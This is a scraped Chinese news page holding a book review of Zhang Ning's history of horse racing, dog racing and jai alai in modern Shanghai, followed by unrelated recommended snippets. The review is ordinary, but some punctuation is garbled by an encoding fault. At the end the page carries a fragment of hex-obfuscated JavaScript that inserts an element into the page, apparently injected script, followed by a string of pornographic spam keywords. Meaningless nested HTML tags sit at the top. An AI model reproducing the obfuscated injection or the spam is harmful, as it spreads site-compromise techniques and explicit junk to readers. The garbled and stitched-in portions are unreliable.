• <track id="5v50g"></track>

    1. <track id="5v50g"><em id="5v50g"></em></track>
      <legend id="5v50g"><i id="5v50g"></i></legend>
      1. <legend id="5v50g"></legend>

        <span id="5v50g"><sup id="5v50g"><nav id="5v50g"></nav></sup></span>

      2. <legend id="5v50g"><li id="5v50g"><del id="5v50g"></del></li></legend><span id="5v50g"><sup id="5v50g"></sup></span>
        首頁 / 澎湃新聞 / 李公明|一周書記:異國休閑運動的文化轉譯與……本土欲望

        李公明|一周書記:異國休閑運動的文化轉譯與……本土欲望

        分類:澎湃新聞 2021-05-06 11:05

        《異國事物的轉譯:近代上海的跑馬、跑狗和回力球賽》,張寧著,社會科學文獻出版社·啟微2020年8月版,504頁,79.00元

        多年前就聽說上海有一個“克勒門文化沙龍”,線上線下,風姿瑰麗如畫。三聯出了“克勒門文叢”,主編陳鋼在序言中說“克勒”曾經是上海的一個符號,或許就是class(階層)、color(色彩)、classic(經典)和club(會所)的“混搭”;一提到“老克勒”,人們會想到當年的那些崇尚高雅、多元的審美情趣和精致、時尚生活方式的“上海紳士”們。順帶要說的是,我發現這套文叢的徽標設計就十分的“老克勒”。陳鋼先生對“克勒”的解釋令人神往,對于我們來說,更知道了上海除了“石庫門”還有“克勒門”。這兩扇門不應偏廢,都很值得研究?!啊死臻T’是一扇文化之門、夢幻之門和上海之門。推開這扇門,我們就能見到一座座有著豐富寶藏的文化金山……不同的文化在這里可以自由地陳述、交流、碰撞和匯聚?!保ㄍ希┤绻麖哪撤N意義上說“克勒門”是上海的多元和時尚文化之臉,那么“格張費司嘎好”(“這張臉很好看”),因為它曾經鮮活、自由、雅俗共賞。當然,在文化的、夢幻的上海歷史之門內外,尚有許多未被充分認識的過程、聲響和斑斕色彩有待細心鉤尋和研究。十九世紀下半葉開始在上海扮演得活色生香,以跑馬、跑狗和回力球為代表的休閑運動文化,無疑是這“門”上的一扇中西融合的窗戶。

        日本平民作家村松梢風(1889-1961)在1923年第一次來上海,他創造了“摩都”這個概念,因為他對上海留下極為深刻的印象,而他自己也曾迷失放縱在這“摩都”之中。其實,在他決定去上海但還沒動身的時候,“魔都”的一個重要象征就已經讓他充滿期待。他去見一兩個曾在上海待過的熟人,問起他們有關上海的事,他們都不約而同地說起了上海的跑馬,“去了上海的話,一定要去看一下跑馬?,F在非常時興”。他因此知道如果中了最大的獎,十元的馬票可以中二十五萬元,這實在讓他吃驚。他決定到了上海也去買馬票,希望贏得這筆獎金。過新年,他母親要去成田山做朝拜,他想起跑馬的事,就請媽媽幫他抽一支簽回來。母親很鄭重其事地抽了一支很棒的神簽回來,上面寫的吉祥語中有一句是“車行進財寶”。他高興得不得了,甚至想象著如何花那二十五萬元。到上海的前一天,他跟芥川龍之介說起跑馬這事,芥川君祝福他,還說如果中了大獎就希望他送五萬元給他在上海的一個朋友。村松對他的祝福感到高興,同時對分贈給朋友之事感到困惑。1923年3月21日他到達上海,28日第一次去了江灣跑馬場。門票一元,然后跟著朋友拿出十元買了兩張sweep獎券。人群熙熙攘攘,他感到看臺能容納兩三萬人。比賽結束,他們都沒有中獎;又買了兩三次sweep獎券,也沒中。后來他自己胡亂買了一張win獎券,中了五十元。以后他和朋友很多次去馬場,都是輸多贏少。最后那場獎金二十五萬元的冠軍賽來了,他也買了獎券,也還心存幻想,后來終于知道這個大獎與他無緣。

        上海除了有跑馬,還有跑狗。村松到了上海在朋友M君家落腳,當晚M君的太太就帶他去明園跑狗場,也是門票一元、獎券五元一張。進去后他發現看臺能容納幾千人,明亮的大弧光燈照得全場一片通明,進場的人以中國人居多,外國人中有一半是女子。狗狗在不斷地跑,最后M君的太太輸了三十元,他自己則是不輸不贏。(以上見村松梢風《魔都》,徐靜波譯,上海人民出版社,2018,89-99、170-174頁)

        民國報人郁慕俠(1882-1966)曾這樣描述當年上海人的“跑狗癮”:“有許多愛好玩耍的上海人,對于跑狗的興趣真是非常的濃厚,到禮拜三、六的晚上,非去一趟不可,賽過抽鴉片煙一樣,不去是不能過癮的。于是上海人除掉大煙癮、嗎啡癮、麻雀癮、跳舞癮、回力球癮、花會癮等等以外,又多了一種狗癮了?!鄙狭税a的人都有一種常人所不可及的忍耐性,需要研究一本很厚的賽狗???,倘使僥幸得中,領獎的手續也是夠痲煩的?!叭欢ベ€跑狗的人從來沒有過半句怨言,唯一原因只是他們已經染上了狗癮?!保ā渡钤诿駠氖镅髨觯猴L俗篇》,郁慕俠原著,蔡登山主編,新銳文創,2019年,193-194頁) 郁慕俠正好回應了村松梢風的朋友M君對上海流行跑狗的解釋。

        1962年,曹聚仁先生為香港《循環日報》寫“上海春秋”專欄,其中有談跑馬、跑狗和回力賽。說到洋人賽馬之日,引1876年出版的《滬游雜記》:“觀者上自士夫,下及負販,肩摩踵接?!庇衷疲骸八埔蛑v武開場圃,卻把輸贏鼓舞來?!彼约赫f,“有英國紳士處,就有跑馬場,這也是一種標記。洋人賽馬,華人看熱鬧,我這土老兒連熱鬧也不看的?!保ú芫廴省渡虾4呵铩?,三聯書店,2016年,402頁)對于回力球賽,他當然很有研究,他認為回力球賽的觀眾“只是天天送錢給這家運動場的賭徒;每一賭徒,有輸無贏,和香港鋪草皮的馬迷一般”。而“在場中表現球藝的運動員,他們正如馬場中的馬一般,絕對要聽主人的安排,不許有自己的意志自由的。每一場必須依照主人所預定的號碼打出來,這就是他們發揮技巧之處?!虼?,每一賭客,不管追買某一球員,或某一號碼,其每月的輸額(以一券為例),總在三十元上下,不管追冷門或熱門,輸的錢額是相同的。而且人人都自以為有辦法,卻都是這么輸了錢的。這真是洋人騙上海小市民的最厲害的陷阱?!保?04頁)還有一篇講“逸園”跑狗場,結論還是一樣:“跑狗,和回力球、賽馬完全一樣,都是騙我們中國人的錢的魔法……結果,總是一個輸字;上過場的人,都知道‘只有不賭才是蠃錢’,然而,這樣的覺悟是不夠的,他們絕不會過賭場而不入、贏了錢而歇手的?!總€賭客,都有他們的狗經,聽起來頭頭是道,上了場就輸得頭頭不是道?!保?06頁)把賭客的心理揭示得很深刻也很生動。

        在關于二十世紀中國現代性歷史的研究中,“上?!笔且粋€毋庸置疑的核心地標,它不僅揭示出與革命敘事并行的現代性敘事的客觀存在及重要意義,同時在國際性、全球性的背景中逐漸建立起自己本土的歷史敘事。但是在這個核心地標的門里門外,出出進進,總是充滿了中心與邊緣、被放大與被遺忘的探索過程。多年前上海史研究者就有“走出上?!钡暮袈?,意在突破僅僅以上海為現代性敘事中心的逐漸固化的眼光,頗有清醒的自覺意識。其實“走出上?!迸c“來自上?!被颉爸胤瞪虾!辈⒉幻?,需要“重返上?!笔且驗樵凇翱死臻T”內仍然不少未被深入研究的課題。

        讀張寧《異國事物的轉譯:近代上海的跑馬、跑狗和回力球賽》(社會科學文獻出版社,2020年8 月),深感作者對跑馬、跑狗和回力球賽這“三跑”休閑運動的文化轉譯過程的研究是“重返上?!钡囊粋€很好案例,而“克勒門”上的“階層”“色彩”“經典”和“混搭”這些概念,恰好可以用來描述這個文化“轉譯”的核心進程。

        畢可思(Robert Bickers)在為該書撰寫的“序”中首先談到一個有趣的對比現象:在早期的上海英文指南中往往把***、跑馬廳等地方標識得很清楚,但是在我們的歷史著作中它們“往往是空白的,或者被留給諷刺或偏見”。 他繼而詳細指出了在學術研究中這種的對比狀況:關于上海洋行、公共租界及工部局、法租界、上海建筑、醫療和公共衛生、傳教士活動、捕房、教育、銀行、證券交易等方面的相關著作極多,但是很少注意有組織的休閑活動。但是,休閑活動對于來上海的外國居民來說有著重要意義。在他們原來的休閑生活中,馬扮演著重要角色,因此跑馬被移植到中國通商口岸,繼續在休閑世界中扮演關鍵角色:鍛煉身體,參加比賽,同時也為了表明自己的地位。這種私人和社交休閑活動逐漸發展成一種復雜的、利潤豐厚的生意,賭博成為這種休閑文化的一個重要組成部分。他認為張寧這本書非常清楚地解釋了為什么我們不該讓它保持空白,顯示了跑馬休閑文化和社會實踐如何與金錢交叉發展成為一門生意,并在不同文化之間轉譯。如果要了解外國勢力下的中國近代城市轉型,就需要超越領事館、教堂、洋行、教會學校、工部局大樓,看看這些商業化的休閑場所?!斑@是中國城市文化商業化和轉型的一個具體面向,時間從十九世紀晚期開始直至二十世紀初,而且往往是在外國勢力主導的城市中心率先進行的?!痹谖铱磥?,這的確就是必需“重返上?!钡暮芎谜f明。

        回到前面曹聚仁關于跑狗、回力球和賽馬都是洋人“騙我們中國人的錢的魔法”的結論,這也正是畢可思所擔心的事情,他擔心對一些人來說,沒有什么比跑馬及隨之而來的賭博更能象征外國勢力對中國通商口岸的毒害和腐蝕,因此在歷史研究中不受重視或僅僅留給諷刺和偏見。但是他說正如張寧認為的那樣,這不是一個非黑即白的故事;這是一個關于融合的故事:外人的需求、利益、文化移植,本土的新社會實踐、傳統精英與新興的職業精英,以及那些被新的文化塑造的城市市民?!巴ㄟ^這本書,你會發現中國近代城市是多國勢力角力與文化互動的產物?!睆垖帉τ谠撝黝}研究的空白狀況則有更貼近文化心態的分析:在后殖民時代,不僅被殖民者對宗主國抱有復雜的情緒,對殖民者而言這段歷史同樣是個沉重的包袱。因此英國學者多著重于從外人社群或租界的管理制度研究通商口岸,鮮少觸及帝國的文化輸出,遑論關照被殖民者的情感層面。而在另一方面,在對殖民或帝國主義的批判中,中國在近代以來喪權辱國的經歷使它同樣需要一個敵人來鞏固自己的主體性。因此作者“意圖走出后殖民的批判和民族主義的羈絆,改采旁觀第三者的態度,以‘異國事物的轉譯’為題,探討文化接觸時可能發生的諸多現象。本書也嘗試另辟蹊徑,將重心由文化的復制與移植,移至文化移轉時可能發生‘看似相同、實則有異’的曖昧轉變,希望可借由近代中國的案例,探索不同文化之間互動時的若于原則”。(《異國事物的轉譯:近代上海的跑馬、跑狗和回力球賽》,導論,第2-3頁) 談到走出“民族主義的羈絆”,想到了作者在書中提到的那個我們最為熟悉的說法“冒險家的樂園”的來歷。1937年,墨西哥駐滬領事莫里西奧·弗雷斯科(Mauricio Fresco)以化名 “G.E. Miller”撰寫英文小說Shanghai: The Paradise of Adventurers,將來滬外人全部描繪成借治外法權剝削華人的冒險家、淘金者,出版后在外人社群引起軒然大波。生活書店立即請人以編譯的方式譯成中文在上海出版發行,名為《上海:冒險家的樂園》。

        所謂“轉譯”,來自英語的translation,通常譯作“翻譯”,但是作者認為中文的“翻譯”暗含忠實且一一對應之意,無法反映英文translation所隱含的“背離原意”之意。選擇采用“轉譯”一詞,也是受到法國科學社會學家布魯諾·拉圖爾(Bruno Latour)多次使用諸如“轉譯”(translation)、“移轉”(transfer)、“移位”(displacement)及“隱喻”(metaphor)等概念的啟發,認為translation包含的移轉、位移、轉化,甚至轉換等復雜含義,正是所要討論的文化移轉時顧此失彼甚至暗度陳倉的情況。因此,“轉譯”一詞不僅在用詞上比“翻譯”更恰當,也更能反映該書所要呈現的那種不同文化之間的相互吸納與轉化?!斑@轉化并不是一種無可奈何的必然,其方向與程度也可以說是一種文化拉鋸的結果?!薄按艘晦D化的過程,就是本書所謂的‘轉譯’。而在不同階段,它同時包括了‘轉化’‘演變’‘本土化’‘異化’等意思?!保▽д?,第5-6頁)我覺得“轉譯”這個概念在這里當然比“翻譯”要準確和符合所研究的論題語境。

        在“導論”中,作者對全書的基本內容和敘事框架講述得很清楚。全書分為“運動與殖民”和“運動與娛樂”兩大主題,各有三個章節。第一章仔細檢視賽馬文化由帝國中心傳播至通商口岸的過程,結果發現英式賽馬在中國與英國屬于并行發展的情況,而并非先有在英國的原型然后照搬移植到中國。為了配合殖民社會的需求,中國在馬匹和賭法方面已出現與英國分道揚鑣的情形。這是第一層“轉譯”。第二章和第三章處理賽馬文化由西人而華人的傳播過程。由于英式賽馬在殖民社會中具有特殊意義,華人精英不僅將之視為身份攀附的工具,青幫三大亨更借之成功地打破階級藩籬,闖入禁區。結果流氓大亨與英國紳士共聚一堂,白相人與正經生意人握手言歡,徹底打破了英式賽馬中最重要的階級性。馬會成員的階級成分與認同的質變,是為第二層“轉譯”。在“運動與娛樂”主題下的第四章至第六章分別剖析賽馬、賽狗和回力球賽中娛樂與賭博交織的變化,揭示在西方文化與中國傳統的拉鋸與協商中觀看成分的減弱與賭博成分日益增強的進程。所謂的“轉譯”的第三個層面就是指以一種創造性的方式將“觀眾性運動”(spectator sports)重新加以定義和解釋,也就是最令人驚異的轉譯。(35頁)這里應該插一句的是,實際上這也是回應了前述曹聚仁“騙我們中國人的錢的魔法”的觀點,張寧的研究清楚表明這一“魔法”的真正推動者并非外人。作者指出,“西方運動競賽并非不下注,不過下注原則以球員或球隊表現為主;但在上海的回力球場里,華人觀眾既不在乎運動的本質,也不在乎運動這一載體,全心關注球賽結果。一旦贏了就欣喜若狂,輸了就垂頭喪氣,至于比賽過程刺激、精彩與否并不在其考慮之列。至此,回力球已脫離西式‘觀眾性運動’的范疇,轉換成與運動毫無關系的中式賭博了?!保?23頁)這就是異國休閑運動在傳入過程中更多被本土欲望形塑的“文化轉譯”。在全書論述中,作者以客觀的立場和細心的審察態度和極為豐富、微觀的史料講述了這個搬演在三個層面上的“轉譯”故事。

        有意思的,作者談到時在復旦大學任教的曹聚仁、著名戲劇家洪深、著名現代派作家兼翻譯家施蟄存、活躍于上海文壇的章克標和新感覺派小說家穆時英等都是回力球賽的忠實粉絲,“就是在這些老球迷手中,回力球賽逐步展開驚人的知識化過程”。(403-404頁)其中曹聚仁從1933年8月起一連兩年多每晚必到,風雨無阻。據其自言“全部精力研究中央運動場的回力球博賽,幾乎百事都廢”。他也由此發展出“場主操縱說”。戲劇家洪深的觀點則與他剛好相反,完全摒除人的成分,將賽事結果歸于概率。(409頁)深入研究這些知識分子當時的認知角度、水平和思維方法,或許可以還寫出另一角度的文化“轉譯”史。

        應該特別指出的是,在帝國文化輸出、移植的視野下,殖民地與通商口岸城市中的租界既有相同性更有差異性,作者對此始終有比較明確的認識。通過比較香港與上海,作者指出“香港既屬英人全權控制,在殖民者的監管下文化移轉時較少逸出常軌;而英人在上海卻僅有面積有限的公共租界,一出租界,便毫無施力之處,異國事物轉譯時較可能出現出入意料的狀況”。(導論,第6頁)這對于認識和研究香港與上海這一中國近代非常重要的“雙城記”有重要的啟示意義。

        在“澎湃新聞”上有學者在高度評價張寧這部著作之余,也提出了它的“遺珠之憾”和討論空間,前者如該書在篇章結構上對跑馬總會如何解散、跑馬運動的如何終結等問題著墨不多,后者指的是以“非正式帝國”(informal empire)概念看待上海公共租界則有待商榷。從討論空間來說,我想到的是葉凱蒂(Catherine Yeh)的《上?!郏好?、知識分子和娛樂文化 1850~1910》(三聯書店,2012年),該書從名妓、性歡愉與大眾狂歡中看到了在商業驅動、媒體關注中成長的上海情色娛樂文化極大地推動了中國社會的變遷與現代化的進程。作者認為上海的娛樂文化、開放的公共空間以及現代而獨特的都市感的發展“超越了那些***家和革命者的宏論”;(第6頁)“今天這一切都太清楚了,娛樂業及其背后的娛樂經濟真是形塑社會欲望和意識的最重要力量”。(355頁)正是在這個議題的維度上我感覺張寧這部著作還有提升的空間。

        更值得深入思考的是,陳建華教授的《紫羅蘭的魅影——周瘦鵑與上海文學文化,1911-1949》(上海文藝出版社,2019年)在廣度和深度上都凸顯了在周瘦鵑研究之上更具有普遍性價值和意義的學術新范式。他念茲在茲的是在“白話單邊主義”等敘事中發現曾經“被顛倒的歷史”,由是而在“日?,F代性”中挖掘文學歷史記憶和***文化記憶,相信會形成一個新的、影響深遠的“話語場”——多元共生的文學流派與被貶抑的大眾欲望和被規訓的“日?,F代性”的關系,所引出的是對現代都市中的個人頹廢審美、欲望狂歡、市井倫理和自由空間的重新評價。更重要的問題是在激進主義念念不忘的“制度”層面上,“日?,F代性”的發展脈絡并非是缺席的或無所作為的,陳建華對此有很明確的論述:“所謂制度移植并不限于***上師法歐美或蘇俄的方面,而是多元多層次的,尤其在日常生活、大眾心態方面的變遷要比***體制來得更為基本而深刻?!保ㄗ孕颍?/p>

        以陳建華對民初都市文化的大眾欲望與日?,F代性的研究成果作為參照,我認為有理由期待關于“異國事物的轉譯”研究能夠在解構單邊歷史敘事神話和認識都市“日?,F代性”如何影響現代體制的形塑等方面發展出更深刻的論述。

        猜你喜歡

        • 參造化之無機,測五行之妙理。判人命之得失,決一世之榮枯。法則取於日干,興衰論乎月支。甲乙屬木,最喜春生。壬癸屬水,偏宜冬旺。丙丁火而夏明,庚辛金而秋銳。戊己兩干之土,要旺四季之期。日乃自身,須究強弱。年為本主,宜細推詳。年干父兮支母,日干己兮支妻。月..

          命理研究2024-02-26
        • 佛心待人,自己即佛;佛性悟人,人即是佛。修行到了“看一切人都是好人,一切事都是好事”的時候,就會發現生活中喜悅無處不在,你便擁有了一個完美的世界。當你用煩惱心來面對人生時,你會覺得一切都是業障,世界也會變得丑陋可憎。來是偶然走是必然,你若有一顆隨緣不..

          學佛導航號2024-02-26
        • 《題李凝幽居》賈島〔唐代〕閑居少鄰并,草徑入荒園。鳥宿池邊樹,僧敲月下門。過橋分野色,移石動云根。暫去還來此,幽期不負言。譯文:悠閑地住在這里很少有鄰居來,雜草叢生的小路通向荒蕪小園。鳥兒自由地棲息在池邊的樹上,皎潔的月光下僧人正敲著山門。走過橋去看..

          詩詞雅言2024-02-26
        • 《滿江紅·中秋夜潮》是一首南宋詞人史達祖創作的一首詞。作者借中秋之夜漲潮和月圓的自然景物,抒寫了伍子胥無辜被殺的冤案,對他寄予了同情,并借古喻今,抒發了他對南宋朝廷的強烈憤懣。這首詞格調沉郁頓挫、激昂慷慨,語句鏗鏘,意境深沉,運筆穩健,充滿了激蕩今古..

          詩詞雅言2024-02-26
        • 《臨江仙·夜飲東坡醒復醉》蘇軾夜飲東坡醒復醉,歸來仿佛三更。家童鼻息已雷鳴。敲門都不應,倚杖聽江聲。長恨此身非我有,何時忘卻營營?夜闌風靜縠紋平。小舟從此逝,江海寄馀生。注釋:東坡:在湖北黃岡縣東。蘇軾謫貶黃州時,友人馬正卿助其墾辟的游息之所,筑雪堂..

          詩詞雅言2024-02-26
        • 世界各地的早期文字大多有表意特征。漢字作為至今唯一使用的古老表意文字體系,具有以下鮮明的特點:第一,漢字以世界和事物為描摹對象,在造字邏輯和組合規則上,注重人類對事物理解的共性。第二,漢字的基本字符是對事物的象形描摹,具有直觀性。第三,漢字符號本身能..

          詩詞雅言2024-02-26
        • 《贈樂天》是唐代文學家元稹創作的一首七言絕句,題贈給詩人的朋友白居易。詩的前兩句寫自己平常閑時就與朋友相聚或學琴;后兩句寫自己能這樣閑的原因是因為“不經心”。全詩語言平實,感情真摯?!顿洏诽臁返乳e相見銷長日,也有閑時更學琴。不是眼前無外物,不關心事不..

          詩詞雅言2024-02-26
        • 《詠柳》是唐代詩人賀知章創作的一首七言絕句。這是一首詠物詩。詩中描寫了二月的新柳在春風吹拂下,柔嫩的細葉蔥翠裊娜,充分表現出早春的勃勃生機和詩人對春天到來的喜悅之情。詩人別出心裁地將“二月春風”比喻為“剪刀”,再用擬人化的“裁出”動作,使視之無形的春..

          詩詞雅言2024-02-26
        • 古建指宮殿、寺廟、祠堂、古戲臺、會館、古典民居、舊式店鋪等建筑。書法與古建的關系極為密切,是古建的裝點、說明和渲染。題寫匾額是裝點古建最為普遍的形式。清朝的開國皇帝順治手書“正大光明”匾,以此標明清朝政治的光明磊落??滴趸实垲}寫“萬世師表”匾額賞賜孔..

          詩詞雅言2024-02-26
        • 中華文化中,流傳下來許多古籍,在古籍中,蘊含著豐富的智慧。至今,在許多重大的國家或外交場合,古籍中的經典名句還經常被引用。如果你在生活工作中,也有時常引用幾句古籍名句,會顯得比較有深度呢!記住下面這15句經典古籍名句,出口成章很輕松。01智者千慮,必有一..

          詩詞雅言2024-02-26
        • 我們來這世間一趟,為的是好好生活往昔已不可回頭,前路仍未可知我們只經歷著此時此刻只愿我們帶著盛放的燦爛奔向無盡的美好不知從何時起,人人皆是行色匆匆有時我們追逐著太陽時可能已經丟失了月亮歲月的確殘忍但也溫柔,它拿走一些東西也會給予一些補償允許一朝萬念俱..

        • 他是龐統接班人,軍事能力比諸葛亮還強,明明有機會幫助蜀漢一統天下,卻被劉備逼到曹魏,這是怎么回事呢?他是誰?龐統的接班人很多人了解三國,都是通過的三國演義,而在三國演義中,諸葛亮是一個上知天文下知地理,精通兵法謀略的頂級謀士,殊不知,其實諸葛亮跟隨劉..

        • 人??過??中年才??明??白??,自??己??一??路??走??來??,大??方??地??為??朋??友??兩??肋??插??刀??,為??家??庭??無??底??線??的??付??出??,為??孩??子??無??限??地??給??予??,最??終..

          黃老道家2024-02-26
        • 發 大 財生財有道/01/索達吉堪布問:很多人修黃財神,但很多還是沒發財。為什么?索達吉堪布:如今很多人的因果觀念比較差,不明白自己為什么貧窮。其實就如同一個父母所生的兩個孩子,一個好好讀書,成長之后有智慧;一個不愿意讀書,長大后就找不到工作,二者命運有天..

          文殊花開2024-02-26
        • 易學命理唐老師/書命理中,比劫星與我五行同類,代表兄弟姊妹,朋友,同事,平輩中人。比劫適中:意志堅強、自信、樂觀,人緣好,喜歡結交朋友。比劫過旺,有大男人主義,倔犟,人不犯我、我不犯人,不肯接納別人的意見。一,逢比劫大運,無論男女命,無能喜忌,所發生..

        • 三國時期,猛將最主要指的是此人武功高強,戰力強悍,在單挑,或者混戰中,擊敗,擊殺敵人,奪得勝利。整個三國演義中,第一猛將是騎著赤兔馬的呂布。呂布騎著赤兔馬,來無蹤去無影,單挑無人是其對手,即使敵方陣營以多欺少,將其擊敗,他也能夠憑借赤兔馬的速度優勢,..

          魁哥說歷史2024-02-26
        • 如果把人生比作一棵大樹的話,年柱就是人一生命運的根,代表祖業,根系扎的深,樹長的旺,人生命運就好。年柱是決定人一生命運的根基,根基,比如出生在什么地方,祖業有多少陰德,前世的業力又是多少等信息,兩人都是一個年份出生的,年柱相同,但是命運卻千差萬別,就..

          命理研究2024-02-26
        • 《鶴沖天·黃金榜上》柳永黃金榜上,偶失龍頭望。明代暫遺賢,如何向。未遂風云便,爭不恣游狂蕩。何須論得喪?才子詞人,自是白衣卿相。煙花巷陌,依約丹青屏障。幸有意中人,堪尋訪。且恁偎紅倚翠,風流事,平生暢。青春都一餉。忍把浮名,換了淺斟低唱!譯文:在金字..

          詩詞雅言2024-02-19
        • 《獨坐敬亭山》是唐代大詩人李白創作的一首詩,是詩人表現自己精神世界的佳作。此詩表面是寫獨游敬亭山的情趣,而其深含之意則是詩人生命歷程中曠世的孤獨感。詩人以奇特的想象力和巧妙的構思,賦予山水景物以生命,將敬亭山擬人化,寫得十分生動。作者寫的是自己的孤獨..

          詩詞雅言2024-02-19
        • 蘇軾(1037—1101),字子瞻,號東坡,東坡居士,眉州眉山人。人們最愛稱其蘇東坡。蘇東坡的一生是輝煌燦爛、功績卓著的一生,也是艱辛坎坷,備受磨難的一生。他生前曾久居要職,名滿天下,也曾被捕入獄,屢遭貶謫。他離世后的九百多年,不論官員還是百姓,不論文人雅士..

          詩詞雅言2024-02-19
        9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})(); 欧美激情三级线在线观看_国内女人喷潮完整视频_少妇又色又紧又爽又刺激视频_古装A级爱做片视频 东北小伙子GAYSEXTUBE日本_樱花草在线社区WWW韩国_国产无遮挡又黄又爽网站_日本男吃奶玩乳30分钟视频 久久久无码精品午夜_妺妺窝人体色WWW看美女图片_娇妻被朋友日出白浆抖内_亚洲V欧美V国产V在线观看 久久精品国产—精品国产_精品人妻一区二区三区免费看_国产成人亚洲精品无码h在线_无码国产午夜福利 丰满少妇高潮尖叫喷水直播久久_韩国三级HD中文字幕_亚洲另类激情专区小说图片_国产成人精品日本亚洲成熟 亚洲欧美精品水蜜桃四虎精品无码一区二区_办公室艳妇潮喷视频_有人有看片的资源吗WWW_A级毛片在线观看